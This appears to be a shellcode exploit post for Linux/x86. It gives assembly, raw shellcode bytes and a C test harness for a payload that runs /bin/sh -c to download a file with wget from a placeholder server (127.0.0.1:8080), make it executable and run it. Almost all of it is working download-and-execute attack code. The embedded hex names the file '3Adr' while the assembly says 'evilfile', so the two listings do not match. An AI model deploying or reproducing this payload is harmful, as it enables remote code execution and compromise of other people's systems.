# Exploit Title: Linux/x86 wget chmod execute over execve /bin/sh -c shellcode (119 bytes) # Google Dork: None # Date: 08.12.2018 # Exploit Author: strider # Vendor Homepage: None # Software Link: None # Tested on: Debian 9 Stretch i386/ Kali Linux i386 # CVE : None # Shellcode Length: 119 ------------------------------[Description]--------------------------------- This shellcode use execve syscall to run /bin/sh -c which executes wget to download a file from a your server. After download it executes chmod 777 to your downloaded file and execute your file -----------------------------[Shellcode Dump]--------------------------------- section .text global _start _start: xor eax, eax push eax jmp short _execline _exec: pop ecx mov edi, ecx xor ecx, ecx push eax push 0x68732f6e push 0x69622f2f mov ebx, esp push eax push word 0x632d mov esi , esp push eax push edi push esi push ebx mov ecx, esp mov al, 11 int 0x80 _execline: call _exec line db "/usr/bin/wget http://127.0.0.1:8080/evilfile && /bin/chmod 777 evilfile && ./evilfile", 0x0a -----------------------------[Compile]--------------------------------------------- gcc -m32 -fno-stack-protector -z execstack -o tester tester.c -----------------------------[C-Code]----------------------------- #include #include unsigned char shellcode[] = "\x31\xc0\x50\xeb\x23\x59\x89\xcf\x31\xc9\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x66\x68\x2d\x63\x89\xe6\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x77\x67\x65\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x38\x30\x38\x30\x2f\x33\x41\x64\x72\x20\x26\x26\x20\x2f\x62\x69\x6e\x2f\x63\x68\x6d\x6f\x64\x20\x37\x37\x37\x20\x33\x41\x64\x72\x20\x26\x26\x20\x2e\x2f\x33\x41\x64\x72\x0a"; void main() { printf("Shellcode Length: %d\n", strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); }